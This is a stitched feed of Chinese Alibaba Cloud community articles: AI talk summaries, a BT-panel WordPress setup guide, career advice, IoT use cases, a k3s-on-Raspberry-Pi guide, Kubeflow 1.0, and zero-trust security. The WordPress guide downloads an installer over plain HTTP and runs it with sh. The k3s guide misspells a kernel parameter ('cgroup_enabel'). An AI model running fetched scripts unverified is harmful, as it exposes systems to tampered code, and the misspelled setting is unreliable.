                  从产品到服务的转变并非易事。公司需要了解如何管理多渠道体验,以及如何整理与数字服务集成的整个产品系列。在这些情况下,客户愿意支付的金额与体验有关,与产品功能无关。

                  在拥有大量数据的快速变化的经济中,公司必须始终与客户保持联系,以获取可改善业务成果并最终创造创新的见解。


                  原文链接 ]]>
                  AI 直播合集 | 五位阿里技术大咖共话人工智能的现在与未来-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

                  华先胜直播:人工智能:是风、是云,还是雨?

                  20200505123716.jpg

                  讲师:华先胜,阿里巴巴集团副总裁|高级研究员及城市大脑实验室主任
                  简介:人工智能特别是视觉智能技术规模话落地有哪些坑?如何通过核心AI 技术、产品化及平台haul实现客户价值并构建壁垒?人工智能的技术发展趋势和商业化情景如何?本视频基于华先胜老师近四年的实战经验与你一起探人工智能到底是风、是云、还是雨?

                  贾扬清直播:人工智能算法和系统的进化

                  image.png
                  讲师:贾扬清,阿里巴巴集团副总裁|CAFFE之父|ONNX创始人
                  简介:介绍人工智能在近几年当中的算法和相应系统的进化过程,同时从技术角度阐述产品形态和用户场景。

                  金榕直播:困局与破局:从深度学习到AI三大关键技术

                  image.png

                  讲师:金榕,阿里巴巴集团副总裁|达摩院高级研究员
                  简介:从深度学习到AI三大关键技术方向,看AI技术应用中的困境,破局,以及未来。视频视频将让你收获:深度学习技术的理解,以及其与50多年发展历史的统计机器学习时结合的过程、语音、自然语言处理和计算机视觉三大核心AI技术,近年关键进展、每一项核心AI技术应用到实际应用中所遇到的关键挑战,以及达摩院是如何利用开发创新的方法克服这些挑战的。

                  司罗直播:达摩院语言技术研发

                  image.png

                  讲师:司罗,达摩院语言技术实验室负责人|ACM杰出科学家|阿里巴巴高级研究员|卡纳基
                  简介:比尔·盖茨曾说过,「语言理解是人工智能皇冠上的明珠」。自然语言处理的技术会推动人工智能整体的进展,从而使得人工智能技术可以实现商业化。目前,自然语言智能技术和应用有哪些前沿进展?本视频将给你带来自然语言智能技术和应用发展的趋势、深度语言模型有哪些突破式发展、共有云NLP技术服务功能、自然语言技术如何与行业/场景紧密结合。

                  王刚直播:自动驾驶之路上的 “能”与“不能

                  image.png

                  讲师:王刚,阿里巴巴达摩院研究员|自动驾驶实验室负责人
                  简介:阿里巴巴是如何理解自动驾驶的基本原理,技术大图,有什么样的进展和技术思考呢?
                  本视频将让你收获:无人驾驶的发展路线、无人驾驶解决的核心问题、面临的核心挑战及解决方案、无人驾驶最新技术成果、无人驾驶技术的前沿进展及未来、应用的前景。

                  ]]>
                  如何用阿里云服务器建立个人网站(针对新手)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800



                  首先,我们需要购买云服务器和域名。



                  域名建议用.com后缀的(一般五十左右),想要便宜的域名可以买.top等后缀的(一般几块钱)。



                  点击这里购买域名



                  云服务器的话,根据自己的需要购买,如果只是简单的发发文章图片,视频等,网站访问量不高的话,买个1核2G1M的配置也能够用。当然,如果对响应速度等体验比较看重的话,可以买个稍微高点配置的,比如2核4G的这样的。



                  注意:下单的时候先买服务器再去买域名,首购优惠很大不要错过,这里有份阿里云的最新优惠和代金券汇总




                  下面说说用阿里云服务器建立个人网站(以WordPress为例)的具体流程:



                  因为这篇文章是针对新手的,没有什么技术基础的朋友写的。所以,关于如何手动配置云服务器的相关环境部署,这里就不细讲了。



                  这里教新手朋友使用一款非常简单好用的服务器面板软件——宝塔面板。方便我们一键部署所需的环境。



                  什么是宝塔面板:宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据库/JAVA等100多项服务器管理功能。



                  1.购买好云服务器后,登陆到你的控制台,找到你购买的“云服务器”,登陆进去。





                  2.这时候应该打开了云服务器的命令行终端(阿里云或腾讯云登陆后都是一样的),我们只需把下面一行代码输入,然后按回车键即可。



                  yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh




                  3. 我们耐心等待一会儿,等宝塔面板自动安装完成(中间若出现是否安装*Y/N?时,我们只需要输入y就行了)。





                  安装完成后,我们接着再命令行输入bt,这个时候就会显示面板的使用帮助菜单选项。



                  bt




                  4. 这时候我们输入数字14,就能看到宝塔面板的登录地址还有用户名和密码。





                  5.我们把登录地址复制到浏览器打开,输入用户名和密码,进入到宝塔面板的后台管理页面。一般来说, 首次登陆进来面板后,会自动推荐你安装环境套件,这里有两种选择,第一种是LNMP套件,第二种是LAMP套件 。如图(建议选择一键安装LNMP)







                  6.为安全起见,建议修改你的用户名和密码,以及面板默认端口。





                  注意:修改面板端口之前,记得在你的阿里云或者腾讯云控制台,找到你的云服务器,在“安全组”一栏下修改规则,选择入站规则下的“添加规则”。







                  关于其他的安全设置,我们下一篇文章再讲,这里就先设置到这里。



                  7.下面我们开始来一键部署WordPress建站程序,(提示:如果前面你没有安装LNMP环境或者LAMP环境,也不要着急,我们可以在软件搜索步骤5列出的几个套件手动安装),点击面板左侧“软件商店”,然后找到WordPress,选择一键部署。





                  8.输入你的网站信息,即你的域名。另外,为了避免出现不可知的错误,新手建议不要修改默认创建的数据库名和命令,自己把它存储好就行。(当点击提交后,系统会自动列出数据库名和密码以及网站地址,请保存好这些信息,后面进入WordPress安装需要填写)





                  9.在线安装WordPress网站程序的时候,先选择语言“简体中文”,然后填写数据库名和密码(就是上一步叫你保存的)













                  10. 安装完成后,登陆你的Wordpress管理后台。(后台登陆地址为:你的网址或ip/wp-admin)







                  11.到这里,你的WordPress网站就搭建成了。接着你可以去发布文章或更换主题,以及后期的维护等等,这里就不细说了。



                  12.最后再讲一下,如何在宝塔面板管理你的网站,以及设置各项参数。点击面板左侧的“网站”,选择你的网站后面“设置”,就可以看到各种功能设置了。





                  本文作为一篇针对新手的阿里云服务器搭建个人WordPress网站教程,内容不是很多,也非常简单。相信对于满足一般建站需求的新手朋友应该是够用了。如果我的文章对您有帮助,请帮我点个赞,谢谢!


                  ]]>
                  职场人生,技术人员如何快速成长为顶级架构师(上)——阿里云 MVP孙玄-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 快速成为顶级架构师的内功修炼

                  查看直播——技术人员如何快速成长为顶级架构师

                  查看下篇文章

                  1472-640.png

                  一、我的职业成长路线

                  (一)简单回顾

                  我在2010年从浙江大学毕业后,就加入了百度,之后又加入过58集团,转转,最后选择了自己创业,成立奈学教育。我希望奈学教育能够成为一家伟大的公司,能够帮助每一个同学把他的职业规划想清楚,并且助力他在整个的职业道路上更好的成长。

                  image.png

                  (二)五条曲线

                  我梳理一下我个人的职业成长路线,我把它分为这样5条曲线。我的每一条曲线大家可以看到它是昂扬向上的一条曲线。但实际过程中每一个曲线你怎么样进行一个破局,它其实是一个很重要的部分。

                  第1条曲线代表的是代码能力。刚刚进入职场,你注重的其实是基础,能不能把整个基础打扎实是非常重要的。

                  很多同学他未来走不远,或者走得没那么快,本质上是因为它的整个基础不牢靠。

                  所以第1个曲线对我来说是你的代码能力,你的基础要过关。为什么有的时候同样一个功能,你的代码写起来很复杂,别人写起来就很简单。本质是你对这个问题没有想清楚,或者说你对这个问题的思考深度不够,才让你写的代码比较复杂。

                  你的算法,数据结构是不是过关,以及你的逻辑是不是具有结构化的一些东西,在我看来其实是非常重要的。

                  第2条曲线代表的是特定业务场景的架构设计。可以看到第2条曲线和第1条曲线中间有一个间隔点。因为如果你继续写代码,或者说继续沿着这条曲线往上增长的话一定会遇到瓶颈。

                  到58同城以后我非常荣幸负责类似IM的一个东西。我原来其实还是局限于写一些代码,也就是说架构设计好以后我来写代码没问题。但是我在58同城以后,我们从0到1的一个项目,你怎么样去从需求的分析,到架构的设计,到架构的选型,把这些东西想清楚其实是很重要的一个点。所以我就想能不能针对一个特定的场景,把这个架构设计给想清楚。

                  比如说,你能不能先把IM领域这个东西先搞清楚,你有这个东西以后你再扩展到多个场景。另外,大家知道IM谁做的好。阿里旺旺他做的比较好,这时候可以去学习一下他们的优秀架构怎么设计的。这个时候没有经验没关系,你照葫芦画瓢,你先画化了以后,慢慢的就有了一个架构设计的经验。有了第2条曲线,我现在能搞定单个业务场景的一个架构设计。

                  第3个曲线代表的是多业务场景的架构设计。你搞定这一个业务,你能不能再搞一个业务。也就是说如果你能够搞定多业务场景的架构设计,说明这时候你具备了道。那什么叫道,从架构层面来讲,你具备了架构设计的哲学,你明白架构设计最核心的东西是什么。你切换到IM,你能给出架构方案,你切换电商,你能给出架构方案,你切换到社交,你也能给出架构方案。那么他们这几个业务场景区别在哪,区别在于他们的业务场景不同,这个业务场景叫术。这几个场景我知道术是不同的,但什么是相同的,就是底层的这些道,底层的架构设计的层次结构这些东西是相通的。

                  你能不能达到这样一个道的层面,打通多个业务场景,其实是非常重要的一个方面。通过多个业务场景,你可以进行抽象,做一些归纳,然后得到一些共性不变的东西。这个不变的东西我们叫做架构设计之道。你具备了架构设计之道,你的成长就非常快了。

                  第4个曲线代表的是技术团队管理。架构本身的设计对我来说其实是没有什么难度了。这时候我想换一个领域。

                  我一方面做技术,另外做技术管理。做技术是和机器打交道。做技术管理是和人打交道。不管是对机器打交道,还是对人打交道,我相信他背后的这些处理方式是一样的。比如对机器打交道,怎么让机器运作的更好一些。对人打交道,无非是怎么样把团队里面的人效给提升,让每个人在一个团队里面生活的舒服一点,或者工作的开心一点。

                  想明白这个东西以后,我做了一个技术管理,其实做的也是非常好的。很多同学去评价我,他说孙老师是比较全能的一个人,技术其实也是很好的,技术管理做得很好的,他的口才表达也是不错的,并且他的为人也是比较和善的。

                  我为什么能够具备这块能力,我觉得最主要是你在某一个方面打穿打透,然后再横向扩张到其他领域。底层的道是一样的,区别是你的术不一样。做技术和做技术管理,都是要让机器和人,它的效率最大化,这些本质的东西是一样的。

                  第5个曲线代表的是CTO,包括技术、团队管理、产品、运营、销售。很多同学到了技术管理以后,他再往上走可能是CTO,他要去做技术,团队管理,产品,运营,销售。对我来说,我跳过了这个阶段,我直接进入了一个CEO的阶段,我创业做了奈学教育。

                  image.png

                  查看直播——技术人员如何快速成长为顶级架构师

                  查看下篇文章

                  ]]>
                  职场人生,技术人员如何快速成长为顶级架构师(中)——阿里云 MVP孙玄-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 快速成为顶级架构师的内功修炼

                  查看直播——技术人员如何快速成长为顶级架构师

                  查看上篇文章

                  二、职业成长核心要素

                  (一)道

                  (1)定位

                  接下来我想从整个道的层面来给大家剖析一下职业成长的核心要素。

                  我刚才分享了自己的个人成长。假设有另外一个人,他本身的潜力比我优秀,他的情商比我高,他的智商比我高,他的人脉比较广,但是工作几年以后,他的个人成长就停止了,而我的个人成长还在不断的前进。为什么会造成这么大的一个差距。

                  在我看来,你的定位很重要。你决定要成为一个什么样的人,你内心的一个内驱力是很重要的。比如我创业这个事情,很多人就不理解,包括我自己家人刚开始也不理解,他说你现在薪资也几百万,期权也说千万,为什么要放弃这些东西去创业。我希望为整个中国IT的改变做出一些贡献,改变一些现状,让大家未来成长得更好,这是我的一些初心。

                  我有内驱力,我对当前的一些现状是不满足的。不满足的情况下,内驱力真的是拉开人和人差距的一个最大的发动机。有了内驱力以后,我们才能不断去成长。

                  (2)本质

                  有了内驱力以后,怎么样能够更快成长呢。

                  你能不能通过问题看到它的本质,是很重要的。如果你的思考深度不够,得不到问题的本质,也很难去快速进步。本质是问题背后的真正需求。

                  比如说,你和你老婆去健身,你老婆平时喜欢喝脉动。当你和你老婆在健身房里健身完毕以后。你老婆告诉你能不能帮她买瓶水。你去买水的时候发现没有水了,给她买了一瓶脉动,肯定能满足需求。因为买水背后的需求是口渴了。买不到水的时候,来一瓶脉动,她当然是很开心的。所以本质讲的是深度思考,这块是很重要的一个点。

                  (3)认知

                  第3点是你的认知。很多同学说我的定位和本质都没问题,但是技术视野不行,也就是说你的广度不行,只能做一个码农,当然这不是一个贬义。

                  也就是说,如果你能具备比较好的一个技术视野,可以比你现在过的更加开心,你的整个收入和你的整个地位会比现在更好。

                  技术视野是很重要的,能不能提升你的认知,真的是拉开人和人差距的发动机。

                  最近我创业经常说一句话,你值不值得加入一个创业团队,要看他三点。第一,老板的人品好不好。第二,这个公司有没有格局。第三,创始人有没有认知。一方面我们要有格局,另外一方面我们的认知要足够好。也就是说,落地到技术层面,你的技术视野要更开阔。比如说,你会了一个知识点,在这个知识点去深挖,深挖以后还要看看外面的世界精彩不精彩。

                  image.png

                  (二)术

                  (1)基础

                  另外一个层面,我想从整个术的层面和大家去分享。

                  有了道以后,有没有具体的落地,有没有一些战术。

                  我认为术重要,但是术更多是保证你的道能够顺利的去落地。第1点,基础很重要。比如,我在百度的时候,其实就在打基础,代码的风格优雅,代码的bug很少,思考深度很深,与人交流很顺畅,情商也足够高,这是一个基础。

                  (2)逻辑

                  逻辑表达能力是很重要的。很多程序员,你让他做一个项目,他很厉害,但你真正的让他把做的东西表达出来,你发现他根本表达不出来。你的第一反应是这个东西根本不是他做的。

                  本质是说他的整个结构化的思维能力是不够的。作为一个厉害的架构师,要去把你的逻辑表达能力提高。

                  (3)态度

                  态度上一定要开放,不设上限,坦诚。

                  首先要开放。比如说,有很多同学觉得自己很厉害,特别是一些大厂出来的同学,到一些小厂以后,他觉得自己很厉害,在这样的情况下可能走下坡路。

                  因为如果你高高在上,有很多新的意见,你听不进来,你就活在自己的一个比较封闭的世界里边,马上就会走下坡路,所以要开放。另外,你要不设上限。你在公司里面工作,千万别说这个东西不是我负责的,我就不去做。

                  如果你有能力的话,我的建议是你尽可能的在公司里边去尝试更多的东西。因为你做任何事情它都是有利和弊两方面。但是你不做,那么它的弊大于利,你做,利大于弊。

                  另外一个点,我觉得是坦诚。你千万不要在你的工作里面去耍什么小心思。你耍两次没问题,但你耍第3次的时候,别人就觉得你的格局不够,你这个人有套路。一旦别人对你贴上这样一个标签,基本上你在业界是很难去混的。所以遇到问题要坦诚一点,这个问题是不是我造成的,没必要去掖着藏着,大胆说出来就好了。坦诚是非常重要的。

                  (4)薪资

                  如果你刚刚毕业。比如说,你的薪资是10k,11k,还是12k,根本不重要,要看淡你的起步的差距,因为未来是不确定的。

                  刚开始的时候,你要去培养你这些能力,刚开始薪资根本就不重要。如果你这些能力上升了,薪资对你来说都是个小事。我经常说的一句话是,千万别为了赚钱而干某个事,你赚不了什么大钱。而是先把事情给做起来,然后钱是附属品。所以说,起步的时候薪资要看淡。

                  (5)选择

                  另外一个就是你的选择也很重要。对创业公司,你要选择这个公司的老板的人品,然后公司的格局,老板的认知。

                  除了选择老板,也要选择项目。但是很多情况下,好的东西毕竟就那么一点,每个人都想去选择好的人品,好的格局,好的认知是很困难的。但是没关系,你要相信命运,你只要坚持做正确的事情,命运不会亏待你的。

                  所以,坚持做正确的事情,把你的这个东西交给时间,时间不会亏待你的。你要相信时间的复利,坚持做这件事情,在时间复利下一定会成功。

                  image.png

                  快速成为顶级架构师的内功修炼

                  查看直播——技术人员如何快速成长为顶级架构师

                  查看上篇文章

                  ]]>
                  农业中有前途的4个物联网用例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 4-Promising-IoT-Use-Cases-in-Agriculture-1068x656_副本.jpg

                  许多行业已经并且将继续受物联网的增长和成熟的影响。学校校园将变得更加安全,汽车将更加智能,房屋将变得更加时尚和直观,企业将更有效地提供更多价值。

                  但是,正如AT&T物联网解决方案总裁克里斯·彭罗斯(Chris Penrose)所强调的那样,引领物联网应用的实际支出的行业可能会让您感到惊讶:农牧业。

                  物联网农业用例

                  下面,我们探讨了四个用例,重点介绍了有前途的农业物联网应用。

                  1.自动拖拉机

                  拖拉机和农用设备,用于采矿,无人机和机器人等设备的重型机械将引领第一波自动化浪潮。 虽然自动驾驶汽车最终可能会成为道路上的主要内容,但现实仍需要很多年。 这些其他机器将为早期试验奠定基础,并为将来的大规模自动化铺平道路。” - AT&T物联网解决方案总裁Chris Penrose

                  农场之所以成为自动驾驶车辆(AV)的第一个采用者,一个原因是没有行人或建筑物与拖拉机相撞。开阔的空地提供了一个低风险的测试环境,在其中可以解决新兴技术的问题。

                  自动拖拉机不仅仅是无意识的驾驶机器人。它们还以智能方式运作,以最大限度地提高农业效率。例如,CNH Industrial和ASI Robotics合作开发了使用路径生成算法的拖拉机,根据他们的网站,这些算法“考虑任务类型、车辆、机具大小、田间车辆数量、机具转弯半径等因素,计算出田间最有效的区域覆盖模式”。而且由于这些自动拖拉机是无人驾驶的,理论上它们可以7x24运转。

                  2.家畜监测

                  农民们不仅在收割庄稼;许多人还管理数百或数千头牲畜。当您的商品是一种能够生存、呼吸、移动的生物时,能够监控从健康到牲畜位置的所有内容,对于企业的持久成功至关重要。

                  支持物联网的牲畜管理解决方案,例如泰利特(Telit)支持的解决方案,正在改变牲畜管理的范式。牲畜管理物联网解决方案通常涉及将连接的传感器嵌入牲畜可穿戴设备中,以监控心率、血压、呼吸频率、温度,甚至消化。这些传感器还可以跟踪动物的位置,以帮助发现病畜,同时还能确定最佳的放牧方式。然后,传感器将数据发送到云中,从而使农民可以通过软件界面更快地识别和解决畜群中的问题。

                  3.连接的蜂箱

                  一家葡萄牙公司采用了更现代的方法来监测我们的蜂蜜生产商,以帮助支持不断减少的蜜蜂数量。APiS的B-App是一个基于web的平台,养蜂人可以通过该界面远程管理蜂箱并收集数据以评估其蜜蜂的健康状况。该应用程序甚至使养蜂人能够安排活动并执行任务以照顾他们的场地,从而成为项目管理工具。而且,他们的Smart Hive软件包为您提供了所有硬件,例如,蜂箱的温度调节软木塞和蜂巢门,蜂巢会随着蜜蜂的来去而计数。

                  所有这些都由配置单元中的Hive Monitor捕获,并将其传输到云中。APiS的技术不仅增加了蜜蜂的生存机会,而且还阻止了蜂巢偷窃的新问题。

                  4.精耕细作

                  诸如Monnithttps://monnit.azureedge.net/content/documents/applications/UCM-012-Greenhouses.pdf)之类的公司都在温室监控用例中支持精确农业,无线传感器被部署在整个商业种植者的工业温室中。传感器检查并记录温室温度,允许种植者在其传感器地图上监视此数据,包括温度或湿度达到指定阈值时的自定义通知。

                  精耕细作通过提供更深入的操作洞察力和控制力,使农民能够更有效地运营(从而节省成本)。此外,它可以使农业行业紧跟新兴技术的发展,这可能会对农民的经营方式和为日益饥饿的世界带来巨大影响。


                  原文链接 ]]>
                  解决零售问题的无线传感器解决方案-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 8.9.19-Wireless-Sensor-Solutions-That-Solve-Retail-Problems-1068x656_副本.jpg

                  在未来的十年里,数十亿的物联网设备将涌入市场,永远改变我们生活的方方面面。

                  这些物联网设备由无线传感器技术驱动,这使我们能够创建可以独立交换信息的互连对象网络。使用无线传感器,我们可以使原本需要人工干预的过程自动化。

                  物联网和无线传感器已经在转变的行业之一是实体零售空间。零售商可以使用无线传感器网络以多种方式创造更好的店内体验,增强安全性并提高运营效率。

                  已经有许多在零售环境中如何部署无线传感器的示例。以下是一些展示无线传感器技术多功能性的用例。

                  改善现场体验

                  零售商可以使用多种方式使用无线传感器来改善客户和员工的体验。

                  一种特殊类型的传感器,即无线按钮,在零售场所有多种潜在的应用。可在洗手间安装无线按钮,并配置为在按下时向工作人员发送信息。只要按一下按钮,购物者就可以在洗手间需要清洁或设备出故障时发出警报。

                  还可以在大型商品区域中安装按钮,以便客户可以在需要重组通道时通知销售代表。 大型百货商店,例如梅西百货(Macy's)或诺德斯特龙百货(Nordstrom Rack),可以使用按钮来帮助维护难以管理的大型区域。

                  无线按钮也可以用作低成本的静音警报。当员工感到受到个别客户的威胁时,他们可以通过按下传感器轻松地通知安全或执法团队。

                  为了帮助维持舒适的内部环境,零售商可以使用无线温度传感器和湿度传感器来监测空气质量。例如,温度传感器可以部署在有冷藏区和非冷藏区的大型超市中。 温度传感器可以警告温度是否低于预设水平,从而指示可能的制冷故障。或者,可以将它们放置在整个电子部分中,以监视可能过热的单元。

                  无线空气传感器对于需要密切监测湿度的人非常有效。具有花园经营权的零售商需要确保所有类型的植物都拥有正确的条件。湿度传感器还可用于防止空气流通不良的区域发霉。

                  那些拥有大量库存和仓库作业的商家可以使用无线温度传感器来确保员工的安全工作条件。可以安装和编程温度传感器,以检测可能的冷却系统故障。

                  加强监视和安全

                  无线传感器可有效补充安全团队和现场监视。

                  各种类型的无线接近传感器可以检测特定访问点的移动或打开和关闭事件。零售商可能想在存储高价值的商品或金钱的地方部署接近传感器。只要检测到移动,这些传感器就可以警告安全团队。

                  可以将无线窗户传感器放置在窃贼可能进入建筑物的外部访问点上。无线门传感器可以安装在需要密切观察的柜子,密码箱或房间中。依靠自动无线消息传递,零售商可以以低成本的方式重新分配安全支出并维护安全的场所。

                  在供应链方面,基于无线加速度的传感器可以连接到有价值的资产上,并配置为在物品移动时发送警报。零售商可能希望在高成本商品上安装基于加速度的传感器,以确保产品不会超出销售或预期转移范围。

                  保护零售设施和运营

                  无线传感器有助于管理关键的零售系统和运营。

                  例如,无线水传感器对于防止泄漏、管道问题和水泵故障(可能会对零售店内部造成严重破坏)非常有价值。水绳传感器可以覆盖相当大的面积,并立即通知设施管理人员液体溢出。

                  当在存储大量信息的服务器机房或数据中心出现问题时,这些警报特别有用。漏水传感器还能够检测冻结的水,这有助于识别有破裂危险的易损管道。

                  无线振动传感器用于检测设备故障的早期迹象。通过在固定设备上安装振动传感器,零售设施经理可以识别出系统何时可能出现故障。这些低成本的传感器可以节省数千美元,而且只需一次电池充电就可以使用数年。

                  无线传感器将下一代技术带入零售

                  无线传感器网络和物联网已经帮助所有类型的企业开启了自动化的新纪元。在零售世界中,无线传感器的许多应用每天都支持物业经理和运营主管。

                  展望未来,期望看到越来越多的无线传感器增强主要零售点的体验并提高现场效率。

                  原文链接

                  ]]>
                  树莓派4安装k3s-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 [环境]

                  树莓派4,4GB版本。单节点的k8s还是要多一些内存。
                  系统ubuntu20.04,arm64版本
                  docker 19.03
                  k3s 1.17.4+k3s1

                  [步骤]

                  安装ubuntu20.04

                  之前的版本存在不能完全利用3G以上内存的问题,在ubuntu20.04上都不存在,放心的装。在官网下载arm64版本,烧录刀tf卡带,等待开机 https://ubuntu.com/download/raspberry-pi

                  ubuntu镜像源

                  用vim或者sed在 /etc/apt/sources.list 中修改镜像源为阿里云,20.04的代号就是focal
                  https://mirrors.aliyun.com/ubuntu-ports/

                  安装桌面

                  本想着支持国产,用个优麒麟的,奈何arm64的beta版本不给力,还是原生的好,挑一个xubuntu

                  sudo apt-get update
                  sudo apt-get install xubuntu-desktop

                  ubuntu 的网络配置从18以后就改成了netplan,这里用的wifi,配置如下,把自己wifi名和密码填入即可wifi.png

                  安装docker19.03

                  k3s默认使用的containerd,对这玩意不熟悉,还是上docker。ubuntu20的docker-ce镜像源还没出,先用18的顶着。在/etc/apt/sources.list中加上

                  deb https://mirrors.aliyun.com/docker-ce/linux/ubuntu/bionic stable
                  sudo apt-get update
                  sudo apt-cache madison docker-ce
                  apt install docker-ce

                  修改docker配置,新建 /etc/docker/daemon.json

                  {
                      "log-driver": "json-file", 
                      "log-opts": {"max-size": "100m","max-file": "5"},
                      "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
                  }

                  由于arm64版的ubuntu20.04上默认没有开启cgroup memory support,在启动k3s的时候会启动失败,需要在 /boot/firmware/cmdline.txt 中最后添加显式开启

                  cgroup_memory=1 cgroup_enabel=memory

                  然后reboot,docker info就正常了
                  docker.PNG

                  离线安装k3s

                  鉴于国内github访问的速度,用离线方式安装k3s更合适。访问 https://github.com/rancher/k3s/releases/tag/v1.17.4+k3s1 并参考离线安装文档 https://rancher.com/docs/k3s/latest/en/installation/airgap/

                  下载 k3s-airgap-images-arm64.tar 和 k3s-arm64 文件,远程登陆树莓派4,并通过lszrz的rz传输这两个文件到 /home/ubuntu 目录下,导入docker images

                  sudo cp k3s-arm64 /usr/local/bin/k3s
                  sudo chmod +x /usr/local/bin/k3s
                  sudo mkdir -p /var/lib/rancher/k3s/agent/images/
                  sudo cp ./k3s-airgap-images-arm64.tar /var/lib/rancher/k3s/agent/images/
                  sudo docker load -i /var/lib/rancher/k3s/agent/images/k3s-airgap-images-arm64.tar

                  ubuntu中自带firefox,访问github获取和保存安装脚本https://github.com/rancher/k3s/blob/v1.17.4%2Bk3s1/install.sh
                  保存至ubuntu任意目录,这边还是用/home/ubuntu目录,指明离线安装,并将runtime改成docker

                  chmod +x install.sh
                  INSTALL_K3S_SKIP_DOWNLOAD=true INSTALL_K3S_EXEC="--docker" ./install.sh

                  然后这个精简版的k8s就可以使用了,service k3s status

                  server中自带了client和kubectl,可以直接用,单节点的k3s就安装好了。
                  kubectl.PNG

                  部署第一个应用

                  su -
                  docker pull nextcloud
                  kubectl create namespace nextcloud
                  kubectl create deployment nextcloud --image=nextcloud -n nextcloud
                  kubectl expose deployment nextcloud -n nextcloud --port=80 --name=nextcloud
                  ]]>
                  Kubeflow 1.0 上线: 体验生产级的机器学习平台-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

                  从2017年12月Kubeflow在Kubecon USA宣布开源至今,已经经过2年多的时间。在过去的两年里Kubeflow已经成长为一个拥有数百名贡献者的优秀开源项目。Kubeflow的目标是让机器学习工程师或者数据科学家可以利用本地或者共有的云资源构建属于自己的ML的工作负载。2020年3月,Kubeflow正式发布1.0版本。在Kubeflow 1.0的版本中, 有多项重要的核心应用毕业,这些应用帮助用户在Kubernetes的平台上高效的开发、构建、训练和部署模型。毕业的应用有:

                  • Kubeflow's UI, the central dashboard
                  • Jupyter notebook controller and web app
                  • Tensorflow Operator (TFJob) and PyTorch Operator for distributed training
                  • kfctl for deployment and upgrades
                  • Profile controller and UI for multiuser management

                  通过使用Kubeflow1.0, 用户可以通过Jupyter开发模型,然后利用Kubeflow提供的工具fairing(Kubeflow’s python SDK)来构建镜像,最后通过Kubernetes调度资源来训练模型。一旦他们有了训练好的模型,他们可以使用KFServing来创建部署推理服务。


                  376257940305ae2238f663078b7ab029.png
                  ]]> 云原生与零信任-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一场突如其来的疫情让全员远程办公提前五年到来,各大企业IT纷纷连夜加班打通远程办公的通道。一个个来自书桌上,沙发上,床上的无管控或轻管控的电脑通过VPN进入内网,自由的访问内网资源,处理敏感数据,接触核心代码。传统安全防护在内网和外网之间划了一道红线,划定了内网的安全域,为了操作的方便,大多数内网资源都可自由访问。突如其来的远程办公让这个假设的“安全域”不再安全,内网设备之间的互相信任关系被打破。唯一值得欣慰的是很少有来自机场,酒店,咖啡厅等容易被攻击的公共wifi连接的终端。


                  2010年,Forrester分析师John Kindervag提出了“零信任模型”(Zero Trust Model)。其核心思想是“Never Trust, Always Verify”。网络安全的信任关系将不再区分内网外网,所有对资源的访问都需要验证其合法性。特别喜欢一个同事对零信任的一个总结。

                   

                  “Zero Trust” is the philosophy of security. Its principles are ABCDE: “Assume nothing, Believe nobody, Check everything, Defeat threats/risks, Expect and prepare for the worst.” Where “check everything” includes not only network, data, devices, workloads, systems, applications, services, but also most importantly IAM and people whose actions/behaviors and business risks must be checked.

                   

                  没想到这场疫情竟成为了对零信任核心思想最好的现实例证,复工之后每个人不再认为可以通过办公室大门就进入了一个安全区域,每个在办公室里的人都全副武装,无论是对曾经信任的同事还是陌生人都做同等的防护。应对这种新的安全架构,Google从2014年12月起发表了多篇BeyondCorp相关的论文,重新定义了办公网络安全架构,其目标是让所有员工从不受信任的网络中不接入VPN就可顺利办公,平等对待位于内部和外部的设备,不再有默认的边界及信任区。


                  办公形式迎来巨变的同时,软件架构也迎来了一场变革。随着容器,微服务架构,DevOps等技术的发展,越来越多的软件架构开始使用云原生架构设计。云原生架构下的软件设计有以下几个特点:

                    • 使用解耦合的微服务架构,服务与服务之间通过网络通信
                    • 运行实例短时存在,IP将不再作为唯一标识
                    • 服务可运行在任何地方,包括跨区域的公有云,混合云
                    • 频繁的更新
                    • 实例运行在共享的操作系统

                  一个个散落在云台上的服务实例不正可类比为一个个散落在不同网络里远程接入的办公终端么?基于这种类比,Google在2019年12月发表了BeyondProd白皮书,描述了一种基于零信任的应用于云原生的安全架构。以下是Google在描述BeyondCorp和BeyondProd时使用的同样句式不同对象。

                  "Key assumptions of this model no longer hold: The perimeter is no longer just the physical location of the enterprise [data center], and what lies inside the perimeter is no longer a blessed and safe place to host personal computing devices and enterprise applications[microservices].”

                   

                  BeyondProd对比了传统的安全和云原生安全,提出了以下几项改变:

                  • 从基于边界的安全转变为零信任安全:传统的安全模型中,企业应用的保护基于部署在数据中心外围的边界防火墙。云原生环境下,传统边界安全仍然需要,但已经不能满足要求。基于零信任的安全架构取消了内外网之分,对内部通信不再采取默认信任,而是要通过相同的访问控制。
                  • 从固定的IP和硬件转变为更大的共享资源池:传统的安全工具基于固定IP地址作为唯一标识去识别不同的应用,基于IP地址指定针对不同应用的安全策略。云原生环境中,应用实例是短时存在的,其IP地址无法作为唯一标识,应该使用服务来标识。
                  • 从应用特有的安全实现转变为共享的安全需求:传统软件架构中,应用需要自己设计实现安全需求,这样会导致不一致的安全基线或者遗漏掉的安全漏洞修复。云原生环境下,服务数量大幅增加,多种服务频繁复用,因此需要统一的安全管理及统一的安全策略执行。
                  • 从不频繁的固定的变更转变为更频繁的变更:传统软件架构下,应用相互依赖严重,每次升级都伤筋动骨,因此运维团队会为变更设置固定周期。云原生环境下,应用耦合降低,自动化程度高,可以相对简单的升级模块或服务,需要将安全防护添加到软件供应链的每个环节。
                  • 从使用物理机或虚拟机隔离转变为共享操作系统:传统软件架构下,应用之间通过物理机或虚拟机进行隔离,从安全角度来看可以将安全事件的影响限制在有限可控的范围内。在云原生环境下,多个服务实例共享操作系统,一个存在漏洞服务被攻陷可能会导致运行在同主机上其他服务受到影响。因此需要通过网络隔离和沙箱技术对应用进行隔离。

                  BeyondProd同时提出了对云原生环境下安全的几个原则:

